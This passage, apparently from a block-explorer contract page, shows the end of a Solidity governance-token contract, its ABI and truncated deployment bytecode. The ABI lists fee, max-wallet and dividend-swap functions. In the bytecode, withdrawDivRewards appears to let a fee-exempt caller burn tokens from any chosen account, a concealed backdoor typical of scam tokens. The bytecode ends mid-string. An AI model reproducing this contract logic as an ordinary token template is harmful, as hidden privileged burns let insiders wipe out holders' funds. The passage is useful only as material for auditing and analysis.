                    ? checkpoints[srcRep][srcRepNum - 1].votes
                    : 0;
                uint256 srcRepNew = srcRepOld.sub(amount);
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                // increase new representative
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0
                    ? checkpoints[dstRep][dstRepNum - 1].votes
                    : 0;
                uint256 dstRepNew = dstRepOld.add(amount);
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

    function _writeCheckpoint(
        address delegatee,
        uint32 nCheckpoints,
        uint256 oldVotes,
        uint256 newVotes
    ) internal {
        uint32 blockNumber = safe32(
            block.number,
            "upgrading::_writeCheckpoint: block number exceeds 32 bits"
        );

        if (
            nCheckpoints > 0 &&
            checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber
        ) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(
                blockNumber,
                newVotes
            );
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }
        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }

    function safe32(
        uint256 n,
        string memory errorMessage
    ) internal pure returns (uint32) {
        require(n < 2 ** 32, errorMessage);
        return uint32(n);
    }

    function getChainId() internal view returns (uint256) {
        uint256 chainId;
        assembly {
            chainId := chainid()
        }
        return chainId;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_inSwapToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_path","type":"address[]"},{"internalType":"address","name":"_tokenAddr","type":"address"}],"name":"addRewardsInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"bySignature","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_tokenId","type":"uint8"},{"internalType":"address[]","name":"_path","type":"address[]"},{"internalType":"address","name":"_tokenAddr","type":"address"}],"name":"changeTokenInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"claimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dividendsWhenClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_is","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_is","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeRecipient","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeTreasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getGovernanceVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"increasedDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"isExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minAmountToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pendingHolders","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"rewards","outputs":[{"internalType":"address","name":"rewardTokenAddress","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndWithdrawEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unclaimed","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateFeeRecipient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"updateSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"_tokenId","type":"uint16"},{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"withdrawDivRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"withdrawableDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b03167ec800c800c80096005027100000000000000000000000000000000000000000179055612710620000506b09b18ab5df7180b6b80000006002620004e8565b6200005c919062000508565b600655600880546001600160a01b03199081163017909155600e8054909116730ea7f289a8cb65f9c7cdfb6c74c51a9955907715179055600f8054600162ffff0160a01b031916734a1ad7c407fd62fdd4db651bdfce49c70d5dc98c1790556012805460ff19169055348015620000d257600080fd5b506040518060400160405280600881526020016708ac2e4dca0c2e8d60c31b8152506040518060400160405280600381526020016208aa0960eb1b8152508160039081620001219190620005cf565b506004620001308282620005cf565b505050600062000145620003e160201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001ab336b09b18ab5df7180b6b8000000620003e5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000203573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022991906200069b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000277573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029d91906200069b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002eb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031191906200069b565b600c80546001600160a01b03199081166001600160a01b0393841617909155600b805490911692821692909217909155306000818152601060209081526040808320805460ff199081166001908117909255338086528386208054831684179055600e8054891687528487208054841685179055600f80548a168852858820805485168617905597875260119095528386208054831684179055855282852080548216831790559254861684528184208054841682179055935490941682529290208054909216179055620006e3565b3390565b6001600160a01b038216620004405760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620004549190620006cd565b90915550506001600160a01b0382166000908152602081905260408120805483929062000483908490620006cd565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620005025762000502620004d2565b92915050565b6000826200052657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200055657607f821691505b6020821081036200057757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004cd57600081815260208120601f850160051c81016020861015620005a65750805b601f850160051c820191505b81811015620005c757828155600101620005b2565b505050505050565b81516001600160401b03811115620005eb57620005eb6200052b565b6200060381620005fc845462000541565b846200057d565b602080601f8311600181146200063b5760008415620006225750858301515b600019600386901b1c1916600185901b178555620005c7565b600085815260208120601f198616915b828110156200066c578886015182559484019460019091019084016200064b565b50858210156200068b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620006ae57600080fd5b81516001600160a01b0381168114620006c657600080fd5b9392505050565b80820180821115620005025762000502620004d2565b6132fd80620006f36000396000f3fe6080604052600436106102e75760003560e01c8063751039fc11610190578063c884ef83116100dc578063dd62ed3e11610095578063f1127ed81161006f578063f1127ed814610960578063f160d369146109c4578063f2fde38b146109e4578063f301af4214610a0457600080fd5b8063dd62ed3e146108e4578063dea062101461092a578063df8408fe1461094057600080fd5b8063c884ef8314610822578063c9567bf91461084f578063cb02184e14610864578063d4c989d314610884578063d5abeb01146108a4578063db90127e146108c457600080fd5b8063a457c2d711610149578063a9e7572311610123578063a9e75723146107b8578063aa4bde28146107cd578063b4b5ea57146107e2578063c816841b1461080257600080fd5b8063a457c2d714610758578063a84645bf14610778578063a9059cbb1461079857600080fd5b8063751039fc146106ad5780637ecebe00146106c25780638da5cb5b146106ef57806395d89b411461070d578063997664d7146107225780639f9a4e7f1461073857600080fd5b8063469048401161024f57806362e546f9116102085780636fcfff45116101e25780636fcfff451461061057806370a0823114610658578063715018a614610678578063735de9f71461068d57600080fd5b806362e546f9146105a2578063658c27a9146105b7578063669416b8146105f057600080fd5b806346904840146104a45780634b418bc5146104dc5780635342acb414610509578063537ccb0a146105425780635e8794411461056257806360dc23401461058257600080fd5b806318160ddd116102a157806318160ddd146103d25780631b79fab8146103e757806320606b701461041457806323b872dd14610448578063313ce56714610468578063395093511461048457600080fd5b8062dc1297146102f357806306fdde03146103295780630865fb0b1461034b578063095ea7b31461036d57806309f6c1301461038d57806313f43a57146103ae57600080fd5b366102ee57005b600080fd5b3480156102ff57600080fd5b50600f5461031490600160a81b900460ff1681565b60405190151581526020015b60405180910390f35b34801561033557600080fd5b5061033e610a24565b6040516103209190612c3a565b34801561035757600080fd5b5061036b610366366004612d68565b610ab6565b005b34801561037957600080fd5b50610314610388366004612dba565b610b94565b34801561039957600080fd5b50600f5461031490600160b01b900460ff1681565b3480156103ba57600080fd5b506103c460065481565b604051908152602001610320565b3480156103de57600080fd5b506002546103c4565b3480156103f357600080fd5b506103c4610402366004612de6565b600a6020526000908152604090205481565b34801561042057600080fd5b506103c47f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b34801561045457600080fd5b50610314610463366004612e03565b610bab565b34801561047457600080fd5b5060405160128152602001610320565b34801561049057600080fd5b5061031461049f366004612dba565b610c5c565b3480156104b057600080fd5b50600e546104c4906001600160a01b031681565b6040516001600160a01b039091168152602001610320565b3480156104e857600080fd5b506103c46104f7366004612de6565b60146020526000908152604090205481565b34801561051557600080fd5b50610314610524366004612de6565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561054e57600080fd5b5061036b61055d366004612e55565b610c93565b34801561056e57600080fd5b5061036b61057d366004612eb7565b610d20565b34801561058e57600080fd5b50600f546104c4906001600160a01b031681565b3480156105ae57600080fd5b5061036b610ffd565b3480156105c357600080fd5b506103146105d2366004612de6565b6001600160a01b031660009081526011602052604090205460ff1690565b3480156105fc57600080fd5b50600d546104c4906001600160a01b031681565b34801561061c57600080fd5b5061064361062b366004612de6565b60186020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610320565b34801561066457600080fd5b506103c4610673366004612de6565b61103b565b34801561068457600080fd5b5061036b611056565b34801561069957600080fd5b50600b546104c4906001600160a01b031681565b3480156106b957600080fd5b5061036b6110ca565b3480156106ce57600080fd5b506103c46106dd366004612de6565b60196020526000908152604090205481565b3480156106fb57600080fd5b506005546001600160a01b03166104c4565b34801561071957600080fd5b5061033e61113f565b34801561072e57600080fd5b506103c460075481565b34801561074457600080fd5b5061036b610753366004612f1f565b61114e565b34801561076457600080fd5b50610314610773366004612dba565b611196565b34801561078457600080fd5b506103c4610793366004612dba565b611231565b3480156107a457600080fd5b506103146107b3366004612dba565b6114a3565b3480156107c457600080fd5b506103c46114b0565b3480156107d957600080fd5b506103c46114ee565b3480156107ee57600080fd5b506103c46107fd366004612de6565b61151b565b34801561080e57600080fd5b50600c546104c4906001600160a01b031681565b34801561082e57600080fd5b506103c461083d366004612de6565b60136020526000908152604090205481565b34801561085b57600080fd5b5061036b611590565b34801561087057600080fd5b5061036b61087f366004612f3c565b6115dc565b34801561089057600080fd5b5061036b61089f366004612f63565b61190f565b3480156108b057600080fd5b506103c46b09b18ab5df7180b6b800000081565b3480156108d057600080fd5b506103c46108df366004612de6565b611964565b3480156108f057600080fd5b506103c46108ff366004612f91565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561093657600080fd5b506103c460095481565b34801561094c57600080fd5b5061036b61095b366004612f63565b6119fa565b34801561096c57600080fd5b506109a861097b366004612fbf565b60176020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff9093168352602083019190915201610320565b3480156109d057600080fd5b5061036b6109df366004612de6565b611a4f565b3480156109f057600080fd5b5061036b6109ff366004612de6565b611a9b565b348015610a1057600080fd5b506104c4610a1f366004612ff6565b611b86565b606060038054610a339061300f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5f9061300f565b8015610aac5780601f10610a8157610100808354040283529160200191610aac565b820191906000526020600020905b815481529060010190602001808311610a8f57829003601f168201915b5050505050905090565b6005546001600160a01b03163314610ae95760405162461bcd60e51b8152600401610ae090613049565b60405180910390fd5b604080518082019091526001600160a01b03828116825260208083018581526015805460018101825560009190915284517f55f448fdea98c4d29eb340757ef0a66cd03dbb9538908a6a81d96026b71ec475600290920291820180546001600160a01b0319169190951617845590518051610b8d937f55f448fdea98c4d29eb340757ef0a66cd03dbb9538908a6a81d96026b71ec476909301929190910190612bc0565b5050505050565b6000610ba1338484611bb5565b5060015b92915050565b6000610bb8848484611cda565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610c3d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610ae0565b610c518533610c4c8685613094565b611bb5565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ba1918590610c4c9086906130a7565b6005546001600160a01b03163314610cbd5760405162461bcd60e51b8152600401610ae090613049565b600060158460ff1681548110610cd557610cd56130ba565b9060005260206000209060020201905082816001019080519060200190610cfd929190612bc0565b5080546001600160a01b0319166001600160a01b03929092169190911790555050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610d4b610a24565b80519060200120610d594690565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a90528251808503909101815261014084019092528151919093012061190160f01b610160830152610162820183905261018282018190529192506000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610e85573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610efc5760405162461bcd60e51b815260206004820152602b60248201527f757067726164696e673a3a64656c656761746542795369673a20696e76616c6960448201526a64207369676e617475726560a81b6064820152608401610ae0565b6001600160a01b0381166000908152601960205260408120805491610f20836130d0565b919050558914610f825760405162461bcd60e51b815260206004820152602760248201527f757067726164696e673a3a64656c656761746542795369673a20696e76616c6960448201526664206e6f6e636560c81b6064820152608401610ae0565b87421115610fe65760405162461bcd60e51b815260206004820152602b60248201527f757067726164696e673a3a64656c656761746542795369673a207369676e617460448201526a1d5c9948195e1c1a5c995960aa1b6064820152608401610ae0565b610ff0818b6120eb565b505050505b505050505050565b600e5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611037573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146110805760405162461bcd60e51b8152600401610ae090613049565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146110f45760405162461bcd60e51b8152600401610ae090613049565b600580546001600160e01b0381166001600160f01b03600160a01b80840461ffff908116600160e01b029283169390931761ffff60e01b199094169091170416600160f01b02179055565b606060048054610a339061300f565b6005546001600160a01b031633146111785760405162461bcd60e51b8152600401610ae090613049565b600f8054911515600160a81b0260ff60a81b19909216919091179055565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112185760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610ae0565b6112273385610c4c8685613094565b5060019392505050565b600043821061129c5760405162461bcd60e51b815260206004820152603160248201527f557067726164696e673a3a676574476f7665726e616e6365566f7465733a206e6044820152701bdd081e595d0819195d195c9b5a5b9959607a1b6064820152608401610ae0565b6001600160a01b03831660009081526018602052604081205463ffffffff16908190036112cd576000915050610ba5565b6001600160a01b038416600090815260176020526040812084916112f26001856130e9565b63ffffffff9081168252602082019290925260400160002054161161135b576001600160a01b0384166000908152601760205260408120906113356001846130e9565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610ba5565b6001600160a01b038416600090815260176020908152604080832083805290915290205463ffffffff16831015611396576000915050610ba5565b6000806113a46001846130e9565b90505b8163ffffffff168163ffffffff16111561146c57600060026113c984846130e9565b6113d39190613123565b6113dd90836130e9565b6001600160a01b038816600090815260176020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915291925087900361144057602001519450610ba59350505050565b805163ffffffff1687111561145757819350611465565b6114626001836130e9565b92505b50506113a7565b506001600160a01b038516600090815260176020908152604080832063ffffffff9094168352929052206001015491505092915050565b6000610ba1338484611cda565b6005546000906114e99061ffff600160a01b82048116916114e391600160e01b909104166114dd60025490565b90612180565b9061218c565b905090565b6005546000906114e99061ffff600160a01b82048116916114e391600160f01b909104166114dd60025490565b6001600160a01b03811660009081526018602052604081205463ffffffff1680611546576000611589565b6001600160a01b03831660009081526017602052604081209061156a6001846130e9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9392505050565b6005546001600160a01b031633146115ba5760405162461bcd60e51b8152600401610ae090613049565b6012805460ff19166001179055600f805460ff60a81b1916600160a81b179055565b6115e53061103b565b6007541161190a5760006115f833611964565b9050600081116116405760405162461bcd60e51b81526020600482015260136024820152726e6f7420656e6f75676820746f20636c61696d60681b6044820152606401610ae0565b600060158561ffff1681548110611659576116596130ba565b90600052602060002090600202019050600f60169054906101000a900460ff16611881578461ffff1660000361170357805460405163a9059cbb60e01b8152336004820152602481018490526001600160a01b039091169063a9059cbb906044016020604051808303816000875af11580156116d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fd9190613146565b50611833565b8461ffff166001036117a357600b546117279030906001600160a01b031684611bb5565b600b546001600160a01b031663791ac947836000600185013361174c4261012c612198565b6040518663ffffffff1660e01b815260040161176c959493929190613163565b600060405180830381600087803b15801561178657600080fd5b505af115801561179a573d6000803e3d6000fd5b50505050611833565b600b546117bb9030906001600160a01b031684611bb5565b600b546001600160a01b0316635c11d79583600060018501336117e04261012c612198565b6040518663ffffffff1660e01b8152600401611800959493929190613163565b600060405180830381600087803b15801561181a57600080fd5b505af115801561182e573d6000803e3d6000fd5b505050505b3360009081526011602052604090205460ff161561187c57600880546001600160a01b0386166001600160a01b0319909116179055600f805460ff60b01b1916600160b01b1790555b6118bb565b3360009081526010602052604090205460ff16156118bb57600b546118b19030906001600160a01b031684611bb5565b6118bb84846121a4565b336000908152601360205260409020546118d59083612198565b3360009081526013602090815260408083209390935560095460149091529190205560075461190490836122f3565b60075550505b505050565b6005546001600160a01b031633146119395760405162461bcd60e51b8152600401610ae090613049565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000806119708361103b565b9050600061197c6122ff565b905080600003611990575060009392505050565b6001600160a01b0384166000908152601460205260408120546009546119b5916122f3565b905080156119ef5760006119cd836114e38487612180565b90506007548111156119e6575050600754949350505050565b95945050505050565b506000949350505050565b6005546001600160a01b03163314611a245760405162461bcd60e51b8152600401610ae090613049565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314611a795760405162461bcd60e51b8152600401610ae090613049565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611ac55760405162461bcd60e51b8152600401610ae090613049565b6001600160a01b038116611b2a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ae0565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b60158181548110611b9657600080fd5b60009182526020909120600290910201546001600160a01b0316905081565b6001600160a01b038316611c175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ae0565b6001600160a01b038216611c785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ae0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60125460ff1680611cf857506005546001600160a01b038481169116145b80611d1057506005546001600160a01b038381169116145b80611d285750600b546001600160a01b038481169116145b611d605760405162461bcd60e51b8152602060048201526009602482015268217472616461626c6560b81b6044820152606401610ae0565b600c546001600160a01b03848116911614801590611d885750600f54600160a01b900460ff16155b15611da957600d80546001600160a01b0319166001600160a01b0385161790555b600f54600160a81b900460ff1615156001148015611dd15750600f54600160a01b900460ff16155b8015611de75750600b546001600160a01b031615155b8015611dfd5750600c546001600160a01b031615155b8015611e175750600c546001600160a01b03848116911614155b8015611e2d5750600654611e2a3061103b565b10155b8015611e5257506001600160a01b03831660009081526010602052604090205460ff16155b8015611e7757506001600160a01b03821660009081526010602052604090205460ff16155b15611e8457611e8461232a565b6001600160a01b03831660009081526011602052604090205460ff16611ef257611eac6114b0565b811115611ef25760405162461bcd60e51b8152602060048201526014602482015273195e18d95959081b585e081d1e08185b5bdd5b9d60621b6044820152606401610ae0565b600c546001600160a01b03838116911614611f7b57611f0f6114ee565b81611f198461103b565b611f2391906130a7565b1115611f7b5760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b6064820152608401610ae0565b6001600160a01b03831660009081526010602052604090205460ff1615611fa75761190a8383836124ad565b600554600090611fd19061ffff600160a01b82048116916114e3918691600160b01b900416612180565b600554909150600090611ffe9061ffff600160a01b82048116916114e3918791600160c01b900416612180565b60055490915060009061202b9061ffff600160a01b82048116916114e3918891600160d01b900416612180565b90506120438161203d848188886122f3565b906122f3565b600c549094506001600160a01b0390811690871603612097576001600160a01b0385166000908152600a60205260408120549003612097576001600160a01b0385166000908152600a602052604090204290555b6120a28686866124ad565b6120ad8630856124ad565b6120b88630846124ad565b6120c38630836124ad565b6007546120d09082612198565b6007556009546120e09082612198565b600955505050505050565b6001600160a01b03808316600090815260166020526040812054909116906121128461103b565b6001600160a01b0385811660008181526016602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461217a828483612685565b50505050565b600061158982846131d9565b600061158982846131f0565b600061158982846130a7565b6001600160a01b0382166122045760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610ae0565b6001600160a01b038216600090815260208190526040902054818110156122785760405162461bcd60e51b815260206004820152602260248201527f45524332303a